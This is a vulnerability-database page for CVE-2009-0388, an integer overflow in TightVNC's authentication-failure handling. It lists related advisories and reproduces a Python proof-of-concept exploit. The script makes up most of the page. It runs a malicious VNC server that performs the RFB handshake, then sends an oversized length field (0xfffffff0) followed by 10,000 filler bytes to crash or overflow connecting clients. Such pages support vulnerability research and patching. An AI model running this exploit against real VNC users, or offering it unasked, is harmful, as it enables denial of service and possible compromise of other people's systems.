TightVNC Integer Overflow

🗓️ 09 Feb 2009 00:00:00Reported by desiType

packetstorm🔗 packetstormsecurity.com👁 33 Views

Modified TightVNC exploit to trigger Authentication Failure vulnerability via integer overflow.

Reporter	Title	Published	Views	Family All 31
0day.today	TightVNC Authentication Failure Integer Overflow PoC	9 Feb 200900:00	–	zdt
Circl	CVE-2009-0388	4 Feb 200900:00	–	circl
Core Security	VNC Multiple Integer Overflows	3 Feb 200900:00	–	coresecurity
Check Point Advisories	Update Protection against UltraVNC VNCViewer Authenticate Buffer Overflow	27 Feb 200900:00	–	checkpoint_advisories
Check Point Advisories	UltraVNC VNCViewer Authenticate Buffer Overflow (CVE-2009-0388)	11 Oct 200900:00	–	checkpoint_advisories
CVE	CVE-2009-0388	4 Feb 200919:00	–	cve
Cvelist	CVE-2009-0388	4 Feb 200919:00	–	cvelist
Debian CVE	CVE-2009-0388	4 Feb 200919:00	–	debiancve
Exploit DB	TightVNC - Authentication Failure Integer Overflow (PoC)	9 Feb 200900:00	–	exploitdb
exploitpack	TightVNC - Authentication Failure Integer Overflow (PoC)	9 Feb 200900:00	–	exploitpack

`#!/usr/bin/env python  
  
#[email protected]  
  
# Modified Andres Lopez Luksenberg's exploit for Authentication Failure scenario in TightVNC. BID 33569 CVE-2009-0388  
  
import socket  
  
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
serversocket.bind(('', 5900))  
serversocket.listen(1)  
  
while True:  
clientsocket, clientaddres = serversocket.accept()  
  
data = 'RFB 003.008\n'  
clientsocket.sendall(data)  
  
data_cli = clientsocket.recv(1024)  
print data_cli  
  
data = '\x02\x02\x10'  
clientsocket.sendall(data)  
  
data_cli = clientsocket.recv(1024)  
  
data = '\x00'*4  
clientsocket.sendall(data)  
  
data = ('\x00'*3)+'\x01'  
clientsocket.sendall(data)  
  
data = ('\x00'*3)+'\x02STDVVNCAUTH_'  
clientsocket.sendall(data)  
  
data_cli = clientsocket.recv(1024)  
  
data = ('\x01'*16)  
clientsocket.sendall(data)  
  
data_cli = clientsocket.recv(1024)  
  
data = '\x00\x00\x00\x01'  
clientsocket.sendall(data)  
  
data = '\xf0\xff\xff\xff'  
clientsocket.sendall(data)  
  
data = 'A'*10000  
clientsocket.sendall(data)  
  
clientsocket.close()  
serversocket.close()  
  
  
`

09 Feb 2009 00:00Current

0.9Low risk

Vulners AI Score0.9

EPSS0.48323

tightvnc exploit integer overflow authentication failure cve-2009-0388